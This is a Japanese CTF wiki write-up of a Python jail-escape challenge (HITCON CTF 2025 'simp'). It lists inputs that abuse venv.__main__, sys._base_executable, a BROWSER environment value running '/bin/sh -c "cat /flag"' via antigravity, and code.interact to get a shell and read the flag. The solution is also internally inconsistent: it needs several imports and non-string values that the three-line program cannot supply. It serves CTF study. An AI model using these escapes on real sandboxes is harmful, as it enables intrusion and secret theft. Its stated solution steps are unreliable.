pyjail wiki

HITCON CTF 2025 - simp

Challenge

3行のシンプルなプログラムで、インポートしたモジュールに属性を設定できる。

import sys
module = __import__(input())
setattr(module, input(), input())

Python 3.13.7 環境。

Solution

インポート時にコードを実行するモジュール

多くのモジュールは if __name__ == '__main__' でガードされているが、venv.__main__ はそうではない。

sys.argv と sys._base_executable の操作

# Step 1: sys をインポート
sys
# Step 2: argv を設定
argv
['--help'] # または任意のコマンド
# Step 3: venv.__main__ をインポートしてコード実行

完全な攻撃シーケンス

# 入力1: モジュール名
sys
# 入力2: 属性名
_base_executable
# 入力3: 値
/bin/sh

その後、別のインポートで venv を悪用:

venv.__main__

Technical Details

venv.__main__ の特性

# venv/__main__.py の構造
import venv
venv.main() # 直接実行される(ガードなし)

sys 属性の操作

sys.argv # コマンドライン引数
sys._base_executable # Python実行ファイルパス
sys.executable # 現在の実行ファイル

インポート時実行されるモジュール

モジュール条件
venv.__main__ガードなし
antigravitywebbrowser を開く
thisZen of Python を表示

Alternative Solutions

別解1: antigravity + BROWSER 環境変数

# os をインポート
os
environ
{'BROWSER': '/bin/sh -c "cat /flag" #%s'}
# antigravity をインポート
antigravity

別解2: code モジュール

code
interact
# 対話シェルが開く

Flag

hitcon{...}

References